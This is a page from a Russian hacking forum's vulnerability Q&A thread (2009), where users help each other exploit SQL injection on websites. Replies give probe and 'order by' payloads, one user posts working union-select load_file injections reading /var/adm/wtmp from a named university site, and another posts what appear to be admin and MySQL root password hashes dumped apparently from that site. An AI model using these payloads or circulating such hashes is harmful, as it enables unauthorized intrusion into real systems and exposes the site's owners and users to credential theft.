ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1061 из 1393 « Первая < 6156196110111051 1057 1058 1059 1060 1061 1062 1063 1064 1065 107111111161 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #10601  
Старый 05.12.2009, 22:48
ZaraZ
Участник форума
Регистрация: 27.08.2007
Сообщений: 155
Провел на форуме:
268091

Репутация: 36
По умолчанию
Как можно сделать в булке/ipb кол-во сообщений отрицательным(-1)?
 
Ответить с цитированием

  #10602  
Старый 05.12.2009, 23:07
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию
Цитата:
Сообщение от ZaraZ  
Как можно сделать в булке/ipb кол-во сообщений отрицательным(-1)?
Причем здесь уязвимости?
 
Ответить с цитированием

  #10603  
Старый 06.12.2009, 00:00
Cybersteger
Познающий
Регистрация: 09.10.2009
Сообщений: 31
Провел на форуме:
287607

Репутация: 19
По умолчанию
В поле http://www.site.ru/pop/search.cgi?q='

Software error:

DBD::mysql::db selectrow_array failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 1 at /usr/local/apache/htdocs/pop/search.cgi line 111.

Это SQL инекция ? Тогда как раскрутить?
 
Ответить с цитированием

  #10604  
Старый 06.12.2009, 00:02
[x60]unu
Banned
Регистрация: 07.05.2009
Сообщений: 103
Провел на форуме:
3202832

Репутация: 1588
Отправить сообщение для [x60]unu с помощью ICQ
По умолчанию
Цитата:
Сообщение от Cybersteger  
В поле http://www.site.ru/pop/search.cgi?q='

Software error:

DBD::mysql::db selectrow_array failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 1 at /usr/local/apache/htdocs/pop/search.cgi line 111.

Это SQL инекция ? Тогда как раскрутить?
скорее всего да
если там идут числовые значения то можно попробовать так
http://www.site.ru/pop/search.cgi?q=2-1
http://www.site.ru/pop/search.cgi?q=1/**/and/**/1=1
http://www.site.ru/pop/search.cgi?q=1/**/and/**/1=2
ну а так сайт в ЛС если не трудно
 
Ответить с цитированием

  #10605  
Старый 06.12.2009, 10:37
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию
Кинь сайт в личку, или пробуй:
Код:
http://www.site.ru/pop/search.cgi?q=1)+order+by+1%23
 
Ответить с цитированием

  #10606  
Старый 06.12.2009, 15:02
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147

Репутация: 211
По умолчанию
есть функция load_file
magic_quotes_on
удалось прочитать несколько файлов, вот только их содержимое несовсем понятно што из этого можна извлечь полезного (в мозиле у меня все отобразилось в непонятных кодах,в гугл хроме нормально)
http://wolfpack.loyno.edu/news.php?action=view&id=-12+union+select+1,load_file%280x2f7661722f61646d2f 77746d70%29,3,4,5--
/var/adm/wtmp
http://wolfpack.loyno.edu/news.php?action=view&id=-12+union+select+1,load_file(0x2f6574632f75746d70), 3,4,5--
/var/adm/qacct
 
Ответить с цитированием

  #10607  
Старый 06.12.2009, 16:23
ILYAtirtir
Участник форума
Регистрация: 25.04.2007
Сообщений: 176
Провел на форуме:
1957988

Репутация: 739
Отправить сообщение для ILYAtirtir с помощью ICQ
По умолчанию
админка:
Код:
forester:*676243218923905CF94CB52A3C9D3EB30CE8E20D
bsimpson:*81BDE0E8E0BA1F502F94C27035B496267B88E712
mysql:
Код:
root:*E73484FBEEB33C026E5ADBCA26E267B837C846E3:Y
 
Ответить с цитированием

  #10608  
Старый 06.12.2009, 16:27
x[0]x
Banned
Регистрация: 02.12.2008
Сообщений: 43
Провел на форуме:
131685

Репутация: 4
По умолчанию
Цитата:
Сообщение от 547  
-есть функция load_file
-што из этого можна извлечь полезного
обычно читаются файлы настроек, исходники скриптов. соответсвенно от твоих целей и нужно действовать.
ЗЫ Задай себе вопрос- что я хочу?
Последний раз редактировалось x[0]x; 06.12.2009 в 16:30..
 
Ответить с цитированием

  #10609  
Старый 06.12.2009, 17:29
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147

Репутация: 211
По умолчанию
Цитата:
Сообщение от x[0]x  
обычно читаются файлы настроек, исходники скриптов. соответсвенно от твоих целей и нужно действовать.
ЗЫ Задай себе вопрос- что я хочу?
да мнебы конфиги, или возможно логи прочитать)
но я с етой системой незнаком(
 
Ответить с цитированием

  #10610  
Старый 06.12.2009, 18:12
wolmer
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
Провел на форуме:
4761503

Репутация: 229
По умолчанию
Такой вопрос по mysql-inj...
Я хочу проапдейтить колонку, но про апдейтить так чтобы в нее была записана какая либа сущ. инфа из таблицы (но другой)(т.е. есть иньекция в параметре update)

Как это сделать? И возможно ли?
Последний раз редактировалось wolmer; 06.12.2009 в 18:55..
 
Ответить с цитированием
Ответ
Страница 1061 из 1393 « Первая < 6156196110111051 1057 1058 1059 1060 1061 1062 1063 1064 1065 107111111161 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ